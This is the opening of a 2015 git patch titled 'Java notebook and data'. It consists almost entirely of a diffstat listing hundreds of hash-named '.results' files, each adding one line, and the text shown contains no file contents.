From 56a1986768f70938ea1295528291dba771d27670 Mon Sep 17 00:00:00 2001 From: David Dorsey Date: Fri, 16 Jan 2015 22:43:52 -0600 Subject: [PATCH] Java notebook and data --- ...d2ba2ba3558a7c00fc67c6f7360e6969c6.results | 1 + ...61cdbb862bd86d19adaaca599b947fc9f8.results | 1 + ...c0a6737a37ec4d26f15bd7fd11ec2caab2.results | 1 + ...9800a232d405402d329cc1d0d824e67b7e.results | 1 + ...b6e37e6f77a1370a1b7a037e2e0f0db19f.results | 1 + ...b2dc33871c5fe5f534dcb67877b4a72b03.results | 1 + ...bcab972392e0ce3a89a6ce865167125097.results | 1 + ...3fa568c12e26cafd68dc39b01658260281.results | 1 + ...94ee43a01402d9ec06ff6d419e85641e36.results | 1 + ...3ebe8adcf14284382c1e55f38c822ad8a3.results | 1 + ...d10096ceb1504b53cb55d023c5bfaa2a47.results | 1 + ...9d7ad2b1b0e2b6c14886d5aa3c19eac3ae.results | 1 + ...944912f454339706e0899b2ef128c4d6d6.results | 1 + ...23645e55ed992e05ab00e7280dafab7cf9.results | 1 + ...bbeddad61da68739b5814f159e433e0968.results | 1 + ...f302c6395de179432c080400a01dace1d8.results | 1 + ...5ebab013a9788358a5de70964848cf9549.results | 1 + ...70d94319c5601bd7a995b5d1831ac44ca0.results | 1 + ...720cb04b24eece77ae8f3200b4f234eed1.results | 1 + ...2ab6ffc3d4bcf481b5a7592c8e485a4aba.results | 1 + ...7ddb92a3527dc3805ab185270f0e47616d.results | 1 + ...59261f1846d6af1d1170f8e6051df46d21.results | 1 + ...20eed85c0bf7787ca7f113e8a853e80aa8.results | 1 + ...dc29f18e39f5a112972bc9d3450efebc24.results | 1 + ...b1748573dd4cb732c2d609642e42e81023.results | 1 + ...6c2c9c616e4e454974a3a0841428db7c1c.results | 1 + ...1152f8fb506cc38d782e5a7b4115fbc759.results | 1 + ...3bc33300b73111c7ab3fe1fa8e75d04b6f.results | 1 + ...221bc4fb0abda0c0db6bd49c98a6387a13.results | 1 + ...c2b862994b7d8420b3e7ce117f58df033c.results | 1 + ...e9a8f06124ab77b51c6b1db897a62ae1a8.results | 1 + ...5ceeff8962551d52f97d44d5424fd44994.results | 1 + ...f30a53ada4e6122b54b43405bc39d24ed7.results | 1 + ...7f33697c56b41dcffc3d56677a4f8ccc3a.results | 1 + ...ab71d09c660c8f3fc02a8983fdcc18b0b5.results | 1 + ...d4bdc71a556cebdaaf321e894b40b2b733.results | 1 + ...dfb71c42d5525893de181a936dadf991f6.results | 1 + ...7015bcc5d45b3af604d0a561c4caf504f0.results | 1 + ...e3e9af399dfe8c443a4925050b36d9485c.results | 1 + ...eb5b0d72bb25bf9d158441cc45eed0102c.results | 1 + ...1db07a6f6fc0bfa09f9437bbf27f01614d.results | 1 + ...99abddfca83cf743ba330e23a067db2843.results | 1 + ...91c494ab870ba46a642573c409b8b05f93.results | 1 + ...e629322427a9041a3950f16756531437cc.results | 1 + ...7c69ad20157c597742f05b3e97f89de524.results | 1 + ...a96be770c8841c8744f571570320a8811b.results | 1 + ...82086e2dfe2a992d5e913a46d6aa88573d.results | 1 + ...8213f3828c2b80ae1b9db4600161ecbc6f.results | 1 + ...12e1bf4157a2a7b601ba230a3329b80073.results | 1 + ...7d0f36a25059538614248ef90e9da375af.results | 1 + ...bb7328c32140e82c49afc99ba7a95534a1.results | 1 + ...5e919bb58d9271468b6d3fe2fc5fbc48a0.results | 1 + ...c6624e1b62ea87670627f166819bea9c28.results | 1 + ...c231adbab82108f622f7c034e7e76d81a4.results | 1 + ...2d2000c268f2743a817177e758ab019466.results | 1 + ...56d643db3bcf3982e74301b74a94187735.results | 1 + ...81599eb3442835f6de241914d98a1a142b.results | 1 + ...e874f99e7d3ffbb7fce7e89832d88433ff.results | 1 + ...b2a5c858dc417fedc4c8ee46c911e0d3a7.results | 1 + ...2cc9226aabdd85c9cf4b06ae9392b05a92.results | 1 + ...4b0567bbdb20bfa26b5fed7815cace412c.results | 1 + ...4e3351c75b361580288429f928a91636cf.results | 1 + ...835a1c1f8beaa2dff69b9b88f510af7b61.results | 1 + ...ee949c088b794a9f192c667ac125c77fcb.results | 1 + ...4124f9617378c2b5e2f07164a2f96efa17.results | 1 + ...3ce556b581b85eb255fe6a5c04ff3a84af.results | 1 + ...4dfc7d0af3dca139487d54b2b55a374ca8.results | 1 + ...ed8433aa02d954c9140cf3d5b5175fdacc.results | 1 + ...1acfc6f3671f01560e20b9d6036cdaaa6b.results | 1 + ...5c7a9b6bfc111397233e8f75d35dde7332.results | 1 + ...fcf5692b3d66c514ab6e2aa68dffbf3a61.results | 1 + ...7eef5a566c41eb16f6fd5c97c5fa662683.results | 1 + ...a110d9ee91f11b2f780aa1f83ceb068501.results | 1 + ...184ef5dbadcec49aff1be6e0d2beada9b2.results | 1 + ...7e8b42c991d05cc2409eb4ca0e104a64cb.results | 1 + ...4bab0d3edcdab395c9dcaea3cba5f9fcac.results | 1 + ...59937988f553b08c3658a863fb951441bb.results | 1 + ...a87d5189458b056de1098a7f3dd790bb3c.results | 1 + ...4c16350d28567a96613ac4489f2119248c.results | 1 + ...c70626c493b6baaeb118713335f2cc2762.results | 1 + ...738ed97bd4c9273bad627451b0cfb38df9.results | 1 + ...bccb373065a37face1a2bca6cd9a79327a.results | 1 + ...afd81c501ac09fa6c1c82274dafd209183.results | 1 + ...840973edd30ea783e1c451e88b16ef9b40.results | 1 + ...15622d883105bdb3d5d42e365afd1f29bd.results | 1 + ...3a74c84c4039dd4059380a8bbfb52578e9.results | 1 + ...6cd408118b4857832b4639ae96e9f943da.results | 1 + ...f50d928d4e816a9c7e38f2f35beed52a26.results | 1 + ...4f15440926225d416575804c649451d2e1.results | 1 + ...5c27aab1e159eb281ac7345c5dc5425f10.results | 1 + ...8deef5e2a91617721871105cfa8481312b.results | 1 + ...7c1a4a1275681fda86b1abee50bfc5c162.results | 1 + ...d078e476ea93bb8866d3ce3dc6543912f8.results | 1 + ...8ed0626386e8e69d0750929331f243c824.results | 1 + ...f2e35e14db8be49b45ea090997a4ceb7fa.results | 1 + ...7717b79ee07fafe5962d4d769785a7af4e.results | 1 + ...d84429feb2b2e8cc3d7bf4290757cbf203.results | 1 + ...10d175190bd4e7c14dd0227b5d0bc0fed8.results | 1 + ...c61509fef69fef1e6d50e0d75904894583.results | 1 + ...e36b91e03445629d2156c055b9ab761aff.results | 1 + ...7216e10ab6285f43ea6c16b60420e8ec30.results | 1 + ...68688389d7c5468745aac99274fb736d0c.results | 1 + ...587fd11ab1105d1e502de28c6365ba3cec.results | 1 + ...c3eac4f8fccde473c15eb49d56dbc74df7.results | 1 + ...919a2e91a0a3581501cf42ac32c5ebecf7.results | 1 + ...e987b20d2eb92c7e7471161f83358499bd.results | 1 + ...d2b6dd150f0be879daf81b1fa384cc5c43.results | 1 + ...d2029b76b61310b879ce7a0095fa8c7d25.results | 1 + ...800d4d921b395f66a98443e4c830fb3d5b.results | 1 + ...af7daa497368861170660e6e66acbe2d4a.results | 1 + ...109915b4ed950b29154c31953eb4bcf695.results | 1 + ...7759c945ba71705bd1fa8b4d9334b0b821.results | 1 + ...4b873f854b073e168f2a91a80391625205.results | 1 + ...343b21f85e2f220ac90bfaf9247afad5c9.results | 1 + ...ed3532ede2809cb7123ebe72c6d6c902b7.results | 1 + ...821d87364c8fe6f31e4d5de264dff084ac.results | 1 + ...c67cd2888f93d17174db338a38ca75717d.results | 1 + ...7577bba7e5cb007ae36ca28adaab7cfd32.results | 1 + ...e133123972bedb5ddb0abfa6427fd01022.results | 1 + ...aa2409b2c47849f15f0b8dd844190980b5.results | 1 + ...ceca75c67928792cf455f13e2001c03d7f.results | 1 + ...c8d0506e00a29dd913c07d5605f09e6e03.results | 1 + ...fab5453fe06534134ddfdefcf3fb963d1c.results | 1 + ...8fa4dba0f6ac8b07ed5fecfdc81e5fb704.results | 1 + ...d1004016f6071c8c1433d4b0cb0f7ec98f.results | 1 + ...a3a99d99605d74cc6804156725a9d1033a.results | 1 + ...928bff42be928c4a1e72cd2e163208ccf2.results | 1 + ...5cea99ae7c1d9061f47b17b3fc919d03eb.results | 1 + ...b7b51b84879a461a52e561d6a52fac35a5.results | 1 + ...369e88f32e49905eeb48d3715189448c44.results | 1 + ...8c378c6e25a29c7039c8ac2cb71ccdc98a.results | 1 + ...9b7b2b448f5e0e4974dafa58dd9cf92116.results | 1 + ...56d9a6b1a22a2df57c2c2b367a48d0525e.results | 1 + ...b3fa59a16a3a2daa9fd35c7cf3e6947d83.results | 1 + ...ba87021bd10eb1fe92e890ca4a7102a721.results | 1 + ...c5edd6e7e76754e9fd9faf8f681c4e84e7.results | 1 + ...11ffe01c2659aec8b9e7173d452a4e0715.results | 1 + ...3600db75aaf211cb079379abb2410e6dc0.results | 1 + ...00d13c3c5d4082cdd71c449bcdaf1f5bd0.results | 1 + ...2a173294f514c5195afe7152a0a78457f1.results | 1 + ...ba820bc20bcc6cccea4d9a88ccca14d249.results | 1 + ...b20e8a9a49a0b5a677c3cf1d57bb7735aa.results | 1 + ...d3319e0f3ee91a53eec39540f4f8304581.results | 1 + ...2f7632ab094971c4536880af62acc4ac54.results | 1 + ...01f4f7e30607c0fa80eae2ed66c1996731.results | 1 + ...9d16a6f685898a9932d7ee75104a5a49fc.results | 1 + ...fea1d13e6fd3fa97afcc3ba6fa3ffc7da7.results | 1 + ...0ba5287e1e7cc4c5eda6f01f39a252e5c7.results | 1 + ...c5c5952df47c77589de822364734c6c36f.results | 1 + ...0f4c4bcc0e0d423e39a13db19938469630.results | 1 + ...2a06a93478ae8ec4e004f3bb315d30a36d.results | 1 + ...8041737fd8257259b9948557778bbb8987.results | 1 + ...ba2b9d3f0a041086893de9509b1e37926b.results | 1 + ...f6c89920abf7fe00aa5fb7c24eb311640d.results | 1 + ...ec517ba73957d4f270cb199bb67d55fae4.results | 1 + ...71feaec0d8de9986a567c93c05aa4fd7d5.results | 1 + ...28b3e66ada13452e996b5659a5b9466cf6.results | 1 + ...646605acd6a46fa47ead5a565fe78973e6.results | 1 + ...ece95c95064d9ed4a72d5d63841aca5518.results | 1 + ...9c0e25747a0e535815971b750f27eb5a18.results | 1 + ...32885b59bfa42ecff7400a8a2b6936f69f.results | 1 + ...28ef100693fa66d493ec4c773d54f14533.results | 1 + ...ad0bbff5426d62df33750e165676ac53a4.results | 1 + ...6c85c3420fc2bf64009cf75facf379c2c8.results | 1 + ...e5def52396e181595d139d14cc91d96be1.results | 1 + ...d0dda743d5f7d403abb465e2cfd3a46215.results | 1 + ...1dbf8b2c7c9f3d6fd9a5f1d995b95ed49a.results | 1 + ...9e26d598236afd1b65b4cdc53275b0d4ec.results | 1 + ...ae4244b384e71080cfdab46f3f5fb95397.results | 1 + ...26a36f418ed466a4ab948c0d7f10e743e8.results | 1 + ...60dc4e690dea1e9971836c9073081cdae2.results | 1 + ...ff5859e5af6ce1017108b7a4f4cfabe607.results | 1 + ...46b4886fa5d17b66e99db706e8098bb043.results | 1 + ...b680655d7bcfb4c1311f8f6eda56fb09fc.results | 1 + ...8741dafd38e330e52c5da8f32d48d66135.results | 1 + ...cc48b68a02c4d08fa07e69bd0b01f04113.results | 1 + ...1ef908afd7a0e75529dedbd623b0527455.results | 1 + ...7350d6f39370b847e1759fb4dee62f3b7a.results | 1 + ...836b87caea7fa793dfe3814119b009a00e.results | 1 + ...a8718f45f30c6eb55f6696a9d325b3c8ac.results | 1 + ...671b2bc824f07e5edf50de0fad1076c6a5.results | 1 + ...e2a5e6af1e8170fb92fee84a9c8739c052.results | 1 + ...f48a3fd9389bbfdead5e2e20e1c74a6dd1.results | 1 + ...0d3dd1dacb1e5ac6196bb37ad6a6624cac.results | 1 + ...c90083303f30f365b5d9a3e99ef9a93f2f.results | 1 + ...0002e6b33338b37ed626ee1db4bc9c7dc5.results | 1 + ...057fdd33679ffea83ac6fac67594a298c8.results | 1 + ...db4532d644fe7891df2022a271901858e6.results | 1 + ...ebc59d5e60e8efaafe2f7f03c4e1ea496e.results | 1 + ...3a4c5606852554b1ec32bae5ad18798b43.results | 1 + ...0031fd0cc3cef421b1d03b27b812b2ced9.results | 1 + ...8e8ec5228afa1ea5a43c8a74ad932c80e1.results | 1 + ...6c3ce313b75c57dfc58041599b88fb2ce3.results | 1 + ...3462be2f7d06ae934bc3b82a4a54b2449e.results | 1 + ...74b5cd076a5f66c80eb88777bcc13603e3.results | 1 + ...ed81ab5a4507d3de309cbe8d4db69feebf.results | 1 + ...ac14a80a4f0398b07d4eda2cbe2818de9e.results | 1 + ...9c162cd9daded9024d081bd38beb43e36e.results | 1 + ...dff9cea680185b8107d731b53af6fd4cfb.results | 1 + ...e894854182c8d483d63fb3671c1dba7b6c.results | 1 + ...d4ff41d23b72548d6a673fb7425c19a2ff.results | 1 + ...9ec4408db2c62290a36d186d03fd464b89.results | 1 + ...a93ae0c61694ed353c41834db27b822e1d.results | 1 + ...4daa2e0777768a3367f0392a7ce9d20625.results | 1 + ...c429cd87a299a0c63cd954193732090f34.results | 1 + ...492b35a0931b5bd5fc1975ea44d61070c4.results | 1 + ...9f9da1d0c85e6cdcca7abc4b16b07fb0b2.results | 1 + ...3696de5ea98afdb520cd514bb35b56d249.results | 1 + ...291dfb255393978ddfc0bcf20a14ec8120.results | 1 + ...4527ce7d5616d1d27715274926e840d46f.results | 1 + ...b55edcdeea761c12240740f5827ba4b199.results | 1 + ...954df569aa006a4d9aec80dbd8c0e84341.results | 1 + ...ec4114364836f5e5486d889d7c28e44b04.results | 1 + ...caed2bb72bff8817b7f060dea32a13b4a0.results | 1 + ...fe10a09b6db72d75737e8ae7a3b5ed4749.results | 1 + ...d4464f643a4f9b6aad798054c93d5ca2e6.results | 1 + ...e615e4f3c2ea700b1ad4d62304e52b6a6a.results | 1 + ...66a6e6254ae9c1c83646990d97847ab1cf.results | 1 + ...3d16258d3dd7e2d33fb967af3bd9c80faf.results | 1 + ...2cd6953218817ad0847faae7cff8990623.results | 1 + ...9ce692c41308e8186dc148e37f3889f01e.results | 1 + ...66171489963631c2371a9a590bbea2e7eb.results | 1 + ...1aef795291076be9fc4208a6e66b2abd97.results | 1 + ...0c177c9e62ab6bdcca934ec2f7b3960765.results | 1 + ...0933936081c0b1debd6d7699a8624add8a.results | 1 + ...f6e68a8b8a359fce1caf3834a4d7377448.results | 1 + ...0f1978acfe344753e333b06032db3f49bc.results | 1 + ...19f40d21d568fe3af15890d5d3f55e57e8.results | 1 + ...c4c2a472a4feee1c2213c58d7ba1611cf7.results | 1 + ...1db4798aac8634d810ab35a74a7a26d07b.results | 1 + ...ace1913983e4441cc0a495f6c4c2c3c4f7.results | 1 + ...1ab723ef85e3b32a7dc22e272df1e36bf9.results | 1 + ...0a74c7f23f732e9f39d3bc7a0c11752b2d.results | 1 + ...862bc5d10e1ace9a76fddc1ab5d5e93f5e.results | 1 + ...c3b0b7af1703d7407238fa7d14abcb15fe.results | 1 + ...30ae3e25c507c9c9bbe0a7c0fca8fb7de5.results | 1 + ...7d72dd2edb94b6920cd8c868f3c565f80b.results | 1 + ...5e92d958957741c8e11c3189af9094cf29.results | 1 + ...11db2223af9bde8a7778734fe6b29a051c.results | 1 + ...90677bf83d4e935b74dc1fb25a812ae560.results | 1 + ...3e56aff9cbf249a70fe9fc30a5bb45e8c7.results | 1 + ...f585caf7586f1332aac5e92f2363029f46.results | 1 + ...73e1739fd6d10e48c5ffcaee4fcede422d.results | 1 + ...006a36b9eccbf678249a8c10d5f97f7435.results | 1 + ...bb75112b9d863c50f8811c50ab0ad218ee.results | 1 + ...04b37a60a346d18f0a20ab69a98ad029f9.results | 1 + ...3c6fdf9e7e7fd3e3f0d72631493410cdf5.results | 1 + ...0e17be72fa3844a7c699d5a143c4cf6f50.results | 1 + ...fb28b5b2fb240f28d141c99514249274d0.results | 1 + ...ea78fe8d93c68cc0b46f578c6417f98f2a.results | 1 + ...dff5b59f64f1dfcb5711239cf6670a4377.results | 1 + ...70ad33e5e1de0244fa1e20644176b9f1f4.results | 1 + ...367a5bf855ebe6f59c3e9841dcca34c997.results | 1 + ...3edb1ce38b29ab2a91f38f242a0e44a101.results | 1 + ...6322d225aa7ac4d842a0dc45eaa2507983.results | 1 + ...fd4cfaface8985a202ff11c72a60975577.results | 1 + ...b19b7ff584318aec0636a1c712f1595442.results | 1 + ...c1e18e1b585511e691f5584314659ec5b0.results | 1 + ...9c6d471d7d2c67e8dbadfb0ba8e09649ee.results | 1 + ...c4dd30b3483bb2c4ef4cf1e08a73fe0a15.results | 1 + ...fea2b7c4fdd48863adccc70bcceb9eb931.results | 1 + ...36a3a2e7342b9ad339defd2c98764e2774.results | 1 + ...09c469014b897dbbb74cbd134e70690685.results | 1 + ...6a7ca1f3c2db6c4682b38b3e43e0a452d1.results | 1 + ...ce15060b00fd9e3a6a1d9c5e406ccc628a.results | 1 + ...aadc615a4af23208bc07eed62bd3f80472.results | 1 + ...ec947df7a3e034ddfd7f95981128596451.results | 1 + ...12a9edc444ec297a07d30513baf1710ff4.results | 1 + ...9774237a9a516f95397567e8f581e59635.results | 1 + ...5818903c8f2c264c2447e5ced3284a445e.results | 1 + ...1716e59bb43ccc6ad93db22bdf289d9499.results | 1 + ...028c23cea0515b0336de37253ea6eba8be.results | 1 + ...b09b2657e9c647cdaad67d18b27a59c129.results | 1 + ...36cd8dfae172c7b156712ead9121735bbc.results | 1 + ...adffb2ceabf5dfd0e0e275cbc3e13a95b4.results | 1 + ...8291125871ac0dad3f1d1a9c19d0749ab9.results | 1 + ...cb23da52d0267e06fa3d6b7619921ec46d.results | 1 + ...1fece6d0fce19a0eb33308d5034ae99efa.results | 1 + ...73c8c901b33755f00e60b9c87dba5982ea.results | 1 + ...0c8c9138197980986afdcbd34520cf00ce.results | 1 + ...2d7d3311335d012a36c4d22a168055e5bb.results | 1 + ...68d738fb9fe260df629066c6a40affd16f.results | 1 + ...5255bec50c004f93586cf9e44424338911.results | 1 + ...2dd93b2069b91c9bed9f6b90c1cebb544e.results | 1 + ...c6d5785a67d0d362e98f9f32411d238cc3.results | 1 + ...4190dd9188814961c847ab792ccd95ceec.results | 1 + ...518b64bf090d4755c8cd2deebfe98d20df.results | 1 + ...8911d928f568220a5af389437ab1fe90f3.results | 1 + ...3d7f86c2a57f89cfb5e6f392d7bc268235.results | 1 + ...724919f558e482976a90a617cbecc1ec6c.results | 1 + ...6aadf408e708a9503b3d0fb0bdd81685b8.results | 1 + ...a1721f2bb59b7bac00a0a32579c64e1857.results | 1 + ...80d4d8d6b4df1b665ee15c3ff91c799728.results | 1 + ...fbd14f483d59b65234e8963301c9c33383.results | 1 + ...e10dc74476ce8551a7cc34e08ce636bae7.results | 1 + ...a26546fc4e1503d389511c83a837064035.results | 1 + ...a13b180a1cf3ac4e5669bfbc79123e1ee2.results | 1 + ...0beac1215e9176aa03582a67cc4a425824.results | 1 + ...d32c390d1d13c27ef8f361dacfac1a5d13.results | 1 + ...052eed1ac4c206e334740000237e386253.results | 1 + ...522b6e44b4860c8e6eebd66a371953bcfe.results | 1 + ...590713b2a253c8fa8228035dbd9c43a64c.results | 1 + ...e2a65607a0d3383f136f48bf9cb24e1b91.results | 1 + ...b78400c3a5da1c5fc18c09a7e11a82dab1.results | 1 + ...8db556860133b8b29846fda9998afec8f3.results | 1 + ...6f465e9192c8a8d9f78dfb439626a16cf1.results | 1 + ...728ffab322b03919cfed61dc597516eceb.results | 1 + ...fa3ffc5d95a523aefe716383d5b54eb2c4.results | 1 + ...15e56ab5a8d8da38011360722129a6b1c2.results | 1 + ...7ae003dad10eb56accee6b9322d381fedf.results | 1 + ...727d745f7331b22ce36cc2eaded042ae41.results | 1 + ...39ccbff04d0d2d5ff9e7300ca4f4c199df.results | 1 + ...a6118e322de23b987c1af8e3deb8c502d7.results | 1 + ...d74637195ab05587d3d61b119256728bd5.results | 1 + ...18adeb83ccdca47668874b7c52327060a1.results | 1 + ...dcb3f3454aed28f84895e3d86bc534c9b1.results | 1 + ...dd120e7ccf0eed825eeebabd8a64d5b781.results | 1 + ...ea0b1f2d351c3280bcef0b821be579ba02.results | 1 + ...3c678ea71318e5bbbe920c0d8fadd82768.results | 1 + ...c5a4df84fd3d63c5f82477c89e647fdddc.results | 1 + ...9ee086cd8741463fc8bacf27b8e8364830.results | 1 + ...df6bf38e32d21e628af10638b8bfa1d971.results | 1 + ...d758ccfe3f284031b9c7d9971948e680aa.results | 1 + ...cdd040d805414001c8d718b7de45a35ba3.results | 1 + ...3685c7e125e5e0bbc7eb2eff6fcb40c5d8.results | 1 + ...5c1cb89cddf72d66e27c308375ea7c198a.results | 1 + ...6734500d4c84de24a99a0babb8b315e9cc.results | 1 + ...b28e2cba0c3f440949cc1d2fc013d7cffe.results | 1 + ...fca37d0844e5148f5416add3ac9d2f4010.results | 1 + ...6b4140622875a25217949ba341ee63a3a2.results | 1 + ...7cfa84e83d836c6a4a0f212a64d78b22fc.results | 1 + ...8fa3800f0a19f9350969bc1d8cd0c5a916.results | 1 + ...5a34698a320e851acc73ad5c411dd483e6.results | 1 + ...0803e6aee26d11a03f41731e5c721a5392.results | 1 + ...6cf71b672a1ad917d33aa8e0dc5139b317.results | 1 + ...017c3e3037f937419a5183ed30b6065fe0.results | 1 + ...1e56f5bc2a1ecf11045b13e47e8aa9c76f.results | 1 + ...b28fa97482bdd4f0181923dee20cdf97b1.results | 1 + ...917353ba4bc0c0177585adccf6991830dd.results | 1 + ...a5ac5f71aeee89d4e3bdf9de45e154fedd.results | 1 + ...2a34e000c3f5fce92c59286d37b06adefa.results | 1 + ...58a9bb19cab883e597dc02a80a0e2cfa28.results | 1 + ...9d1aca2c3f0fecf37a7b60f6e2030648c0.results | 1 + ...3ea5bb7357154a87370c4f8c62f70dfade.results | 1 + ...c5f5443d581e2f781dc7095578374191eb.results | 1 + ...1c65e7ec58710a6ad1e12ae9c865dae892.results | 1 + ...259293d174d10bab8cbe64b8ccdf789f23.results | 1 + ...c2194f16f900e4b6633287c1ffd2a870d6.results | 1 + ...fc17bd8e7f0b71eb0aeceb1ba8efc3200b.results | 1 + ...b78de16f3f881000676f245a8c8034d772.results | 1 + ...54aa607ac31798f56b1d4d2adadb1d7f32.results | 1 + ...96b23dfe5bdf5697571312e739342d7c66.results | 1 + ...96a1072af3ca76f3f1d9aecd825c9bb935.results | 1 + ...2ff2ec129cab2d10f7450be7c290b03341.results | 1 + ...431946a8c955c3e862cfdfd561e19e9333.results | 1 + ...15e0affd12666770ecf38a03efbbd2b81d.results | 1 + ...651277e39b15441c37ba1ce259b53e4ad2.results | 1 + ...4e9634fa811cef15b7fec7dbde2b1d3fb2.results | 1 + ...0795fede4f9d7522966ec2ce5df8912f24.results | 1 + ...7b2d9b581db538d5059ed31ea6e6acddfa.results | 1 + ...47f538a6d0292af647cefce64e1b52d0ce.results | 1 + ...68090a0386638b968708add8383750cfdd.results | 1 + ...43b63d1bd7e6f411a540c8cee8057240f7.results | 1 + ...fd438c998c8765c2eec31ca3bec366915b.results | 1 + ...8acb32b83237fa9dff8df618298d46330f.results | 1 + ...855876811b6f43d90128220b1155cc15cd.results | 1 + ...b8c7c5541807810330d116644410644ae7.results | 1 + ...b8fdf270d0854c8f17242677123be62071.results | 1 + ...328c54506f2f347ac37d6be09968f70b80.results | 1 + ...a45f876a42f5496347743404905350dd3a.results | 1 + ...ca1ec73278e9e4b21c771f028efdd2beb9.results | 1 + ...4407749444fa0491aa767d53c7fd5ad3e6.results | 1 + ...4a98c76626d878fe7a597a5f81d2dbb7f4.results | 1 + ...06f87de03e80479e7acbae52f1faea1e0b.results | 1 + ...497b932a73a0977892c081df4c3df9e253.results | 1 + ...6a4262f61b5708e516db3c77d750742b01.results | 1 + ...c16b8880620c95b35161f3416b96fff1f1.results | 1 + ...8b6b9b5906d05978ad3e6564bef02b8d6b.results | 1 + ...c93401d5b74c7ef7f6a3564513c9121d4d.results | 1 + ...38c3be93eeca8d481407e3c2e11000d4b8.results | 1 + ...f8fb309f40663c310baaa2cc9af9593104.results | 1 + ...cde157c3c98ba56fa90cab89de90d27425.results | 1 + ...72aa18d73c2bba33fc555a7899fe48d434.results | 1 + ...c704fdde124275e7fc9d8ef5d56a87e064.results | 1 + ...4fc96e61fee36f60b65a1dfe123e759b87.results | 1 + ...7463a7f955285b958cb9808d618db80588.results | 1 + ...cceb229d9dea34057d6c666b142e488547.results | 1 + ...383512dd3a04bf39bfaff700e2d995414d.results | 1 + ...46e460d61e2c78e99c7674a7236b1666d5.results | 1 + ...7dd5aa0acac0dc73e164ed89fff9ab27a6.results | 1 + ...bf4efd81a3f6ef2a2f93b00e4594f287f4.results | 1 + ...de9a6511cfdf397c6e4adc4165ed819845.results | 1 + ...821687f8d7c36fa8d785bf05b3f750f5c1.results | 1 + ...a9c995642031bb712a09768a99cec43bc1.results | 1 + ...f1f6b19f4aa3bed239782fcd2ca0ac3af3.results | 1 + ...a4b6d8fd2a84d18f8c4b47303be09aa5d7.results | 1 + ...2780b743307e815a8446f0e2e90e8043be.results | 1 + ...c07541b70d5ae23bec69edc6dc1f961dc6.results | 1 + ...08779cfa5bc9b9b123a518373a0b548762.results | 1 + ...949b625575a08883c8f43ee7b280de41e3.results | 1 + ...d110e4167e5762eb4b8bd6c4ce90fa0c0f.results | 1 + ...2e77ee257308bca9fe293c56095ea1f987.results | 1 + ...7410dbbfbf8b25a87ec9d7934dd541fd0f.results | 1 + ...46ea53462c2644ba916c80b4180fea6525.results | 1 + ...c96674dd1d9b918ce499eb1afe57e75aac.results | 1 + ...5186165f55deac6a1b52fe5663de9ccbbe.results | 1 + ...c297fc9efa22018d363aa78c8dc3e3f954.results | 1 + ...815e891776b2ff67b301a3532529d47d6a.results | 1 + ...10f7f327b6400fc3fa64cb901a0d2bb890.results | 1 + ...a24fa4b5bdcd63c7c4d1af7dc247bbeea9.results | 1 + ...2b3caf5ad978b8db98b824c6cfd27420b8.results | 1 + ...a9f0b6f906a5619d288c8a3a1a53466dcc.results | 1 + ...2d9e11b56107ec49c4735ad2bd6107cd7e.results | 1 + ...91ed867efcd6e2b837dd48c90f012c136e.results | 1 + ...ff5464c5718d199fb4a33393ca4f9f85a5.results | 1 + ...d091be5f0f1e5be71c3157dd30a88d5159.results | 1 + ...ad088a6f7a2b22dc50a3bb539bb3adb681.results | 1 + ...c2cf71d7f094c8092b9d599eab1abd50d4.results | 1 + ...e992752094650be44a6dfb47ef4989a285.results | 1 + ...56dd5d82e4c800f26290f0781b7263f030.results | 1 + ...5c886b9b04c7fcf91e93b0d08047f11db3.results | 1 + ...ea91caaee747aeb6fb8184fbabb199648c.results | 1 + ...444b13ddcba365257d8b2a19598e55d491.results | 1 + ...46b12ebcb40e829780d5db93efb00cce7c.results | 1 + ...8e6b04d03000e9538cda064307756dfcf5.results | 1 + ...81d2a3ab55a59a6c421d93ca03ab11e710.results | 1 + ...8a8de3d8645080470dc090ab205a41c6da.results | 1 + ...8629f596b332dac84e9fdd4e2316ac8c19.results | 1 + ...d69aaedf3a1892bf1d77bc7cc3672fbc62.results | 1 + ...478afda3508ce380e1af8021a766d91e22.results | 1 + ...6c98e120e49e86bcec01e9896a27bea68b.results | 1 + ...9136a2b3ade34090635eccfd5cd026e091.results | 1 + ...cd80344843682174a70a712187b9d200e8.results | 1 + ...a12378ae819f1db94a86cb2a4ac3ff7b37.results | 1 + ...702687d26f44aa73ef16653a13418cceec.results | 1 + ...fee93db92c6ee6c57c8e85129ddcf8be45.results | 1 + ...71c42bc822758dc62531805b1bbf59b7b6.results | 1 + ...b1c107df1eee2748328ed47c9f871f79e6.results | 1 + ...55a08a8d1d861bd5a3717409833fff5c91.results | 1 + ...bc779b445f22c49ac92995edd1cb693fd6.results | 1 + ...9f988cbc7cbfa9b50cbb6982462c6fb898.results | 1 + ...5deeacca5048271e79def03f326f028cb9.results | 1 + ...821447ec9d57274f73b2b05946da2d18d1.results | 1 + ...2df8a7ce361f611ba3b1dbbb997b3f407a.results | 1 + ...eea8431679fcde1614012d14a6ce13519f.results | 1 + ...dc922f099c9d63cbc3bc88ae2d125d3c9b.results | 1 + ...c1f66a00d028bb2dbcd5a1fbf4c60c05ca.results | 1 + ...2ec0c9c9be438512b7dd7d08d4bad1dc2a.results | 1 + ...9810d5187f6a380865df3ceb4b5b01ab50.results | 1 + ...d5711c3e61891e7bdf64eafc2f4415d7a0.results | 1 + ...a791af9b47f5ef34b238551f40becd7068.results | 1 + ...898d60742287f8e5c06a2266e2d3013944.results | 1 + ...d03158d2de4665763df9aadac37b607359.results | 1 + ...197403d6a7efb1b104e8896f2e86d3ee2f.results | 1 + ...d0540d415b72a7353d9f70a172f70d7195.results | 1 + ...89dbb0bdb5029ebf7bb234e87fa70a3af4.results | 1 + ...eac1a553ad9dd0a912d21d9b0abd7dd630.results | 1 + ...d1212e75867a00db55be8a312de22377ca.results | 1 + ...40694d2f98cf19980bf9e9e0fbfc7bf6e6.results | 1 + ...f2758d0cf6a2e7370ec5b836654f07977e.results | 1 + ...e16fe3f0799df84662802c0ac03c41af5c.results | 1 + ...ae4d82e16da3de5ca95bcbb91132225adf.results | 1 + ...0f98414a16a332f171499b5598a232054e.results | 1 + ...df981a8f445a93a63293d7f70ffa71ce62.results | 1 + ...402b954b940f3ad128717b68efb01e3539.results | 1 + ...bcd55382b2b6a8677636e3150fe4ad1171.results | 1 + ...484474bf6c88860171649dc0ffceafb338.results | 1 + ...6cb5da77157c3dce93d9bbbc3b5fbac5f9.results | 1 + ...15d76503b6ebd64b09c7d1a3f7ae4a3758.results | 1 + ...361eb0b23a7212330ea64f3086f0031695.results | 1 + ...b25f9c4d81ca4cd4ae440c6329e7098f6f.results | 1 + ...1dfc1649139fb32a1c8ce046803453b591.results | 1 + 